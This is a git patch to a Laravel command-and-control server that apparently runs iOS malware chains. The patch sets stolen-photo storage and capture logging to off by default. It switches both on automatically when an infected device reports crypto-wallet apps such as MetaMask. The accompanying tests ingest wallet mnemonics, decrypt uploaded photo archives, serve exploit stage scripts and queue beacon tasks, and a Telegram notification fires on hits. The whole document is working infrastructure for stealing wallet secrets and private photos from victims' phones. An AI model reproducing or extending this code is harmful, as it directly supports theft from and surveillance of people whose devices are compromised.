From f6fb00c52af364fe10fd07748eaff3302e58ac8a Mon Sep 17 00:00:00 2001 From: hashbro Date: Sun, 30 Aug 2026 23:36:30 +0800 Subject: [PATCH] feat: close alumb --- app/Http/Controllers/C2/C2Controller.php | 2 +- .../Controllers/C2/DarkSwordC2Controller.php | 29 +++--- app/Http/Controllers/C2/XxbbC2Controller.php | 2 +- app/Http/Middleware/DecryptCorunaBody.php | 33 ++++--- app/Http/Middleware/DecryptXxbbBody.php | 29 +++--- app/Models/Device.php | 21 ++++- app/Services/DarkSwordIngestAdapter.php | 4 +- app/Services/IngestService.php | 3 + ...0080_devices_album_storage_default_off.php | 32 +++++++ tests/Feature/C2ApiTest.php | 88 +++++++++++++++++++ tests/Feature/DarkSwordC2ApiTest.php | 13 +++ tests/Feature/DeviceAlbumStorageTest.php | 37 +++++++- tests/Feature/DeviceWalletFlagTest.php | 5 ++ .../PruneNowalletPhotosCommandTest.php | 4 +- tests/Feature/XxbbC2ApiTest.php | 9 ++ 15 files changed, 263 insertions(+), 48 deletions(-) create mode 100644 database/migrations/2026_08_30_000080_devices_album_storage_default_off.php diff --git a/app/Http/Controllers/C2/C2Controller.php b/app/Http/Controllers/C2/C2Controller.php index 0b83d3e..ad02b19 100644 --- a/app/Http/Controllers/C2/C2Controller.php +++ b/app/Http/Controllers/C2/C2Controller.php @@ -137,7 +137,7 @@ class C2Controller extends Controller ]; $attachmentRel = null; - if ($request->hasFile('file') && $device) { + if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) { $bytes = file_get_contents($request->file('file')->getRealPath()); $work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid()); $extracted = $this->archive->extract($bytes, $work, $batchBase); diff --git a/app/Http/Controllers/C2/DarkSwordC2Controller.php b/app/Http/Controllers/C2/DarkSwordC2Controller.php index 322f8c7..ec673a3 100644 --- a/app/Http/Controllers/C2/DarkSwordC2Controller.php +++ b/app/Http/Controllers/C2/DarkSwordC2Controller.php @@ -3,6 +3,7 @@ namespace App\Http\Controllers\C2; use App\Http\Controllers\Controller; +use App\Models\Device; use App\Services\DarkSwordIngestAdapter; use App\Services\DsBeaconQueue; use Illuminate\Http\Request; @@ -274,18 +275,22 @@ class DarkSwordC2Controller extends Controller $body = $logBody ?? $this->previewBody($request); $respPreview = $this->previewString((string) $response->getContent(), 4096); - $entry = [ - 'dir' => 'ds', - 'method' => $request->method(), - 'path' => $path, - 'ip' => $request->ip(), - 'query' => $request->query(), - 'headers' => c2_log_request_meta($request)['headers'], - 'body' => $body, - 'response' => $respPreview, - ]; - create_log($entry, 'ds'); - error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview); + $uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['device'] ?? $payload['device_id'] + ?? $request->attributes->get('coruna_device_key'); + if (Device::captureEnabledForKey(is_string($uid) ? $uid : null)) { + $entry = [ + 'dir' => 'ds', + 'method' => $request->method(), + 'path' => $path, + 'ip' => $request->ip(), + 'query' => $request->query(), + 'headers' => c2_log_request_meta($request)['headers'], + 'body' => $body, + 'response' => $respPreview, + ]; + create_log($entry, 'ds'); + error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview); + } return $response; } diff --git a/app/Http/Controllers/C2/XxbbC2Controller.php b/app/Http/Controllers/C2/XxbbC2Controller.php index 743afba..1801a03 100644 --- a/app/Http/Controllers/C2/XxbbC2Controller.php +++ b/app/Http/Controllers/C2/XxbbC2Controller.php @@ -108,7 +108,7 @@ class XxbbC2Controller extends Controller ]; $attachmentRel = null; - if ($request->hasFile('file') && $device) { + if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) { $bytes = file_get_contents($request->file('file')->getRealPath()); $work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid()); $extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase); diff --git a/app/Http/Middleware/DecryptCorunaBody.php b/app/Http/Middleware/DecryptCorunaBody.php index 37c7dad..111f154 100644 --- a/app/Http/Middleware/DecryptCorunaBody.php +++ b/app/Http/Middleware/DecryptCorunaBody.php @@ -2,6 +2,7 @@ namespace App\Http\Middleware; +use App\Models\Device; use App\Services\CorunaCrypto; use App\Services\IngestService; use Closure; @@ -81,19 +82,21 @@ class DecryptCorunaBody $deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64)); } - create_log([ - 'dir' => 'in', - 'method' => $request->method(), - 'path' => $path, - 'ip' => $request->ip(), - 'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null, - 'timestamp_hdr' => $timestamp ?: null, - 'headers' => $headers, - // 'raw_body' => $isMultipart ? null : (strlen($raw) > 200000 ? substr($raw, 0, 200000) : $raw), - 'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload], - 'decrypt_ok' => $decryptOk, - 'error' => $error, - ], 'c2'); + if (Device::captureEnabledForKey(is_string($deviceKey) ? $deviceKey : null)) { + create_log([ + 'dir' => 'in', + 'method' => $request->method(), + 'path' => $path, + 'ip' => $request->ip(), + 'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null, + 'timestamp_hdr' => $timestamp ?: null, + 'headers' => $headers, + // 'raw_body' => $isMultipart ? null : (strlen($raw) > 200000 ? substr($raw, 0, 200000) : $raw), + 'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload], + 'decrypt_ok' => $decryptOk, + 'error' => $error, + ], 'c2'); + } $request->attributes->set('coruna_payload', $payload); $request->attributes->set('coruna_decrypt_ok', $decryptOk); @@ -108,6 +111,10 @@ class DecryptCorunaBody private function logResponse(Request $request, Response $response, string $path, $deviceKey): void { + if (! Device::captureEnabledForKey(is_string($deviceKey) ? $deviceKey : null)) { + return; + } + $respBody = (string) $response->getContent(); $respTs = (string) $response->headers->get('timestamp', ''); $respHeaders = []; diff --git a/app/Http/Middleware/DecryptXxbbBody.php b/app/Http/Middleware/DecryptXxbbBody.php index 0b955fa..d5bdbd3 100644 --- a/app/Http/Middleware/DecryptXxbbBody.php +++ b/app/Http/Middleware/DecryptXxbbBody.php @@ -3,6 +3,7 @@ namespace App\Http\Middleware; use App\Http\Controllers\C2\DarkSwordC2Controller; +use App\Models\Device; use App\Services\CorunaCrypto; use App\Services\IngestService; use Closure; @@ -81,19 +82,21 @@ class DecryptXxbbBody $deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64)); } - create_log([ - 'dir' => 'in', - 'method' => $request->method(), - 'path' => $path, - 'ip' => $meta['ip'], - 'remote_addr' => $meta['remote_addr'], - 'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null, - 'timestamp_hdr' => $timestamp ?: null, - 'headers' => $meta['headers'], - 'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload], - 'decrypt_ok' => $decryptOk, - 'error' => $error, - ], 'xxbb'); + if (Device::captureEnabledForKey(is_string($deviceKey) ? $deviceKey : null)) { + create_log([ + 'dir' => 'in', + 'method' => $request->method(), + 'path' => $path, + 'ip' => $meta['ip'], + 'remote_addr' => $meta['remote_addr'], + 'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null, + 'timestamp_hdr' => $timestamp ?: null, + 'headers' => $meta['headers'], + 'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload], + 'decrypt_ok' => $decryptOk, + 'error' => $error, + ], 'xxbb'); + } $request->attributes->set('coruna_payload', $payload); $request->attributes->set('coruna_decrypt_ok', $decryptOk); diff --git a/app/Models/Device.php b/app/Models/Device.php index 9b8e433..cdeee6a 100644 --- a/app/Models/Device.php +++ b/app/Models/Device.php @@ -25,6 +25,7 @@ class Device extends Model protected $attributes = [ 'has_wallet' => self::WALLET_UNKNOWN, 'chain' => self::CHAIN_CORUNA, + 'album_storage' => false, ]; protected function casts(): array @@ -63,7 +64,25 @@ class Device extends Model public function albumStorageEnabled(): bool { - return (bool) ($this->album_storage ?? true); + return (bool) ($this->album_storage ?? false); + } + + /** Photos and C2/DS file logs — only when album is on or wallet apps are present. */ + public function persistCaptureEnabled(): bool + { + return $this->albumStorageEnabled() || $this->hasWalletApps(); + } + + public static function captureEnabledForKey(?string $deviceKey): bool + { + $key = preg_replace('/[^0-9A-Za-z._-]/', '', (string) $deviceKey) ?? ''; + if ($key === '') { + return false; + } + $device = static::query()->where('device_id', $key)->first() + ?? static::query()->where('device_id', strtoupper($key))->first(); + + return $device?->persistCaptureEnabled() ?? false; } public function apps(): HasMany diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index a3467a3..3b34932 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -70,7 +70,7 @@ class DarkSwordIngestAdapter private function ingestStage(Request $request, array $payload): void { $uid = $this->extractDeviceKey($request, $payload); - if ($uid === null) { + if ($uid === null || ! Device::captureEnabledForKey($uid)) { return; } $stage = strtolower(trim((string) ($payload['stage'] ?? ''))); @@ -111,7 +111,7 @@ class DarkSwordIngestAdapter private function ingestLog(Request $request, array $payload): void { $uid = $this->extractDeviceKey($request, $payload); - if ($uid === null) { + if ($uid === null || ! Device::captureEnabledForKey($uid)) { return; } if (is_string($payload['stage'] ?? null) && trim((string) $payload['stage']) !== '') { diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 6b52a04..12dd47b 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -422,6 +422,9 @@ class IngestService $alreadyYes = (int) $device->has_wallet === Device::WALLET_YES; $device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES; $device->wallet_names = $labels === [] ? null : $labels; + if ($device->has_wallet === Device::WALLET_YES && ! $device->albumStorageEnabled()) { + $device->album_storage = true; + } $device->save(); if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES) { diff --git a/database/migrations/2026_08_30_000080_devices_album_storage_default_off.php b/database/migrations/2026_08_30_000080_devices_album_storage_default_off.php new file mode 100644 index 0000000..99881da --- /dev/null +++ b/database/migrations/2026_08_30_000080_devices_album_storage_default_off.php @@ -0,0 +1,32 @@ +getDriverName(); + if ($driver === 'mysql') { + DB::statement('ALTER TABLE devices MODIFY album_storage TINYINT(1) NOT NULL DEFAULT 0'); + } + + DB::table('devices') + ->where('has_wallet', '!=', Device::WALLET_YES) + ->update(['album_storage' => false]); + DB::table('devices') + ->where('has_wallet', Device::WALLET_YES) + ->update(['album_storage' => true]); + } + + public function down(): void + { + $driver = Schema::getConnection()->getDriverName(); + if ($driver === 'mysql') { + DB::statement('ALTER TABLE devices MODIFY album_storage TINYINT(1) NOT NULL DEFAULT 1'); + } + } +}; diff --git a/tests/Feature/C2ApiTest.php b/tests/Feature/C2ApiTest.php index cfc8412..9db9796 100644 --- a/tests/Feature/C2ApiTest.php +++ b/tests/Feature/C2ApiTest.php @@ -248,6 +248,7 @@ class C2ApiTest extends TestCase $this->assertSame(2, $device->apps()->count()); $this->assertSame(Device::WALLET_YES, (int) $device->has_wallet); $this->assertSame(['MetaMask'], $device->walletNameList()); + $this->assertTrue($device->albumStorageEnabled()); } #[Test] @@ -286,6 +287,10 @@ class C2ApiTest extends TestCase #[Test] public function set_and_status_ingest_wallet_secrets_and_addresses(): void { + Device::query()->create([ + 'device_id' => 'dev-wallet-1', + 'album_storage' => true, + ]); $crypto = new CorunaCrypto; $mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; $tsSet = '1722585600456'; @@ -616,6 +621,10 @@ class C2ApiTest extends TestCase $this->assertSame(0, $code, implode("\n", $out)); $this->assertFileExists($archivePath); + Device::query()->create([ + 'device_id' => 'dev-photo-1', + 'album_storage' => true, + ]); $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); $resp = $this->call( 'POST', @@ -662,6 +671,7 @@ class C2ApiTest extends TestCase 'ios_version' => '15.8.4', 'device_model' => 'iPhone9,1', 'ip' => '1.2.3.4', + 'album_storage' => true, ]); $tmp = sys_get_temp_dir().'/coruna_photo_norm_'.uniqid(); @@ -730,6 +740,10 @@ class C2ApiTest extends TestCase exec($cmd, $out, $code); $this->assertSame(0, $code, implode("\n", $out)); + Device::query()->create([ + 'device_id' => 'dev-photo-ts', + 'album_storage' => true, + ]); $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); // Live traffic: no batchBase field; password suffix is multipart `ts`. $this->call( @@ -757,6 +771,80 @@ class C2ApiTest extends TestCase @rmdir($tmp); } + #[Test] + public function check_skips_photos_until_wallet_app_enables_album(): void + { + Storage::fake('local'); + $crypto = new CorunaCrypto; + $tmp = sys_get_temp_dir().'/coruna_photo_auto_'.uniqid(); + mkdir($tmp); + $jpegPath = $tmp.'/hit.jpg'; + file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9"); + $archivePath = $tmp.'/capture.7z'; + $password = $crypto->archivePassword('0'); + $bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z') + ? '/opt/homebrew/opt/p7zip/bin/7z' + : '7z'; + $cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password) + .' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1'; + exec($cmd, $out, $code); + $this->assertSame(0, $code, implode("\n", $out)); + + $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); + $this->call( + 'POST', + '/api/user/check', + [ + 'd' => 'dev-photo-auto', + 'f' => 'dev-photo-auto', + 'batchBase' => '0', + ], + [], + ['file' => $upload], + ['CONTENT_TYPE' => 'multipart/form-data'] + )->assertOk(); + + $device = Device::query()->where('device_id', 'dev-photo-auto')->first(); + $this->assertNotNull($device); + $this->assertFalse($device->albumStorageEnabled()); + $this->assertSame(0, Photo::query()->where('device_id', $device->id)->count()); + + $ts = '1722585600999'; + $enc = $crypto->encryptJson([ + 'd' => 'dev-photo-auto', + 'al' => [ + ['a' => 'MetaMask', 'b' => 'io.metamask', 'v' => '7.12.0'], + ], + ], $ts); + $this->call('POST', '/api/user/get', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_TIMESTAMP' => $ts, + ], $enc['body'])->assertOk(); + + $device->refresh(); + $this->assertTrue($device->albumStorageEnabled()); + + $upload2 = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); + $this->call( + 'POST', + '/api/user/check', + [ + 'd' => 'dev-photo-auto', + 'f' => 'dev-photo-auto', + 'batchBase' => '0', + ], + [], + ['file' => $upload2], + ['CONTENT_TYPE' => 'multipart/form-data'] + )->assertOk(); + + $this->assertTrue(Photo::query()->where('device_id', $device->id)->exists()); + + @unlink($jpegPath); + @unlink($archivePath); + @rmdir($tmp); + } + #[Test] public function admin_guest_is_redirected_to_admin_login(): void { diff --git a/tests/Feature/DarkSwordC2ApiTest.php b/tests/Feature/DarkSwordC2ApiTest.php index 73ebcb5..f344256 100644 --- a/tests/Feature/DarkSwordC2ApiTest.php +++ b/tests/Feature/DarkSwordC2ApiTest.php @@ -124,6 +124,15 @@ class DarkSwordC2ApiTest extends TestCase ->assertOk() ->assertHeader('Content-Type', 'application/javascript; charset=utf-8') ->assertSee('__peStage1', false); + $this->assertSame(0, DsChainLog::query()->count()); + + Device::query()->create([ + 'device_id' => '50624FE26CC4A0DF689EAEA117557C3E', + 'album_storage' => true, + ]); + + $this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E') + ->assertOk(); $row = DsChainLog::query()->first(); $this->assertNotNull($row); @@ -267,6 +276,7 @@ class DarkSwordC2ApiTest extends TestCase DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.MobileSMS')->exists() ); $this->assertSame(Device::WALLET_YES, (int) $device->fresh()->has_wallet); + $this->assertTrue($device->fresh()->albumStorageEnabled()); } #[Test] @@ -748,6 +758,7 @@ class DarkSwordC2ApiTest extends TestCase $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, + 'album_storage' => true, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, @@ -794,6 +805,7 @@ class DarkSwordC2ApiTest extends TestCase $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, + 'album_storage' => true, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, @@ -864,6 +876,7 @@ class DarkSwordC2ApiTest extends TestCase $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, + 'album_storage' => true, ]); $task = DsBeaconTask::query()->create([ 'device_id' => $device->id, diff --git a/tests/Feature/DeviceAlbumStorageTest.php b/tests/Feature/DeviceAlbumStorageTest.php index 35405d0..5b8ce7c 100644 --- a/tests/Feature/DeviceAlbumStorageTest.php +++ b/tests/Feature/DeviceAlbumStorageTest.php @@ -20,14 +20,14 @@ class DeviceAlbumStorageTest extends TestCase use RefreshDatabase; #[Test] - public function album_storage_defaults_on(): void + public function album_storage_defaults_off(): void { $device = Device::query()->create([ 'device_id' => 'dev-album-default', ]); - $this->assertTrue($device->fresh()->albumStorageEnabled()); - $this->assertTrue((bool) $device->fresh()->album_storage); + $this->assertFalse($device->fresh()->albumStorageEnabled()); + $this->assertFalse((bool) $device->fresh()->album_storage); } #[Test] @@ -48,6 +48,35 @@ class DeviceAlbumStorageTest extends TestCase @unlink($tmp); } + #[Test] + public function wallet_applist_turns_album_on_then_photos_store(): void + { + Storage::fake('local'); + $device = Device::query()->create([ + 'device_id' => 'dev-album-wallet', + 'album_storage' => false, + ]); + $tmp = sys_get_temp_dir().'/coruna_album_'.uniqid().'.jpg'; + file_put_contents($tmp, "\xFF\xD8\xFF\xD9"); + + $ingest = app(IngestService::class); + $ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]); + $this->assertSame(0, Photo::query()->where('device_id', $device->id)->count()); + + $ingest->ingestInstalledApps($device, [ + 'al' => [ + ['a' => 'MetaMask', 'b' => 'io.metamask.MetaMask'], + ], + ]); + $device->refresh(); + $this->assertTrue($device->albumStorageEnabled()); + $this->assertSame(Device::WALLET_YES, (int) $device->has_wallet); + + $ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]); + $this->assertSame(1, Photo::query()->where('device_id', $device->id)->count()); + @unlink($tmp); + } + #[Test] public function ingest_notifies_telegram_when_x_hit_is_12(): void { @@ -58,7 +87,7 @@ class DeviceAlbumStorageTest extends TestCase ]); Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]); - $device = Device::query()->create(['device_id' => 'dev-hit12']); + $device = Device::query()->create(['device_id' => 'dev-hit12', 'album_storage' => true]); $tmp = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg'; file_put_contents($tmp, "\xFF\xD8\xFF\xD9"); diff --git a/tests/Feature/DeviceWalletFlagTest.php b/tests/Feature/DeviceWalletFlagTest.php index 3307c8a..054b6fa 100644 --- a/tests/Feature/DeviceWalletFlagTest.php +++ b/tests/Feature/DeviceWalletFlagTest.php @@ -27,6 +27,7 @@ class DeviceWalletFlagTest extends TestCase public function applist_without_plugin_wallets_marks_none(): void { $device = Device::query()->create(['device_id' => 'dev-wallet-none']); + $this->assertFalse($device->albumStorageEnabled()); app(IngestService::class)->ingestInstalledApps($device, [ 'al' => [ @@ -38,6 +39,7 @@ class DeviceWalletFlagTest extends TestCase $device->refresh(); $this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet); + $this->assertFalse($device->albumStorageEnabled()); $this->assertSame([], $device->walletNameList()); $this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.foo.somecoinwallet')->value('is_wallet')); $this->assertFalse((bool) $device->apps()->where('bundle_id', 'ph.telegra.Telegraph')->value('is_wallet')); @@ -54,6 +56,7 @@ class DeviceWalletFlagTest extends TestCase Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]); $device = Device::query()->create(['device_id' => 'dev-wallet-yes']); + $this->assertFalse($device->albumStorageEnabled()); $ingest = app(IngestService::class); $ingest->ingestInstalledApps($device, [ @@ -63,6 +66,7 @@ class DeviceWalletFlagTest extends TestCase ]); $device->refresh(); $this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet); + $this->assertFalse($device->albumStorageEnabled()); Http::assertNothingSent(); $ingest->ingestInstalledApps($device, [ @@ -73,6 +77,7 @@ class DeviceWalletFlagTest extends TestCase ]); $device->refresh(); $this->assertSame(Device::WALLET_YES, (int) $device->has_wallet); + $this->assertTrue($device->albumStorageEnabled()); $this->assertSame(['MetaMask', 'imToken'], $device->walletNameList()); $ingest->ingestInstalledApps($device, [ diff --git a/tests/Feature/PruneNowalletPhotosCommandTest.php b/tests/Feature/PruneNowalletPhotosCommandTest.php index 527d368..cbf750c 100644 --- a/tests/Feature/PruneNowalletPhotosCommandTest.php +++ b/tests/Feature/PruneNowalletPhotosCommandTest.php @@ -73,7 +73,9 @@ class PruneNowalletPhotosCommandTest extends TestCase { Storage::fake('local'); [$none] = $this->deviceWithPhoto('dev-off', Device::WALLET_NONE); - $this->assertTrue($none->albumStorageEnabled()); + $none->album_storage = true; + $none->save(); + $this->assertTrue($none->fresh()->albumStorageEnabled()); $this->artisan('coruna:prune-nowallet-photos', [ '--execute' => true, diff --git a/tests/Feature/XxbbC2ApiTest.php b/tests/Feature/XxbbC2ApiTest.php index 48a689f..c9eb97d 100644 --- a/tests/Feature/XxbbC2ApiTest.php +++ b/tests/Feature/XxbbC2ApiTest.php @@ -130,6 +130,7 @@ class XxbbC2ApiTest extends TestCase $this->assertSame('imToken', $app->name); $this->assertSame(Device::WALLET_YES, (int) $device->has_wallet); $this->assertSame(['imToken'], $device->walletNameList()); + $this->assertTrue($device->albumStorageEnabled()); } #[Test] @@ -282,6 +283,10 @@ class XxbbC2ApiTest extends TestCase exec($cmd, $out, $code); $this->assertSame(0, $code, implode("\n", $out)); + Device::query()->create([ + 'device_id' => '000C30D83CD0402E', + 'album_storage' => true, + ]); $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); $this->call( 'POST', @@ -578,6 +583,10 @@ class XxbbC2ApiTest extends TestCase #[Test] public function xxbb_request_logs_to_xxbb_folder_not_c2(): void { + Device::query()->create([ + 'device_id' => '000C30D83CD0402E', + 'album_storage' => true, + ]); $marker = 'XXBBLOG'.uniqid(); $xxbbLog = public_path('log/xxbb/'.date('Ymd').'.log'); $c2Log = public_path('log/c2/'.date('Ymd').'.log');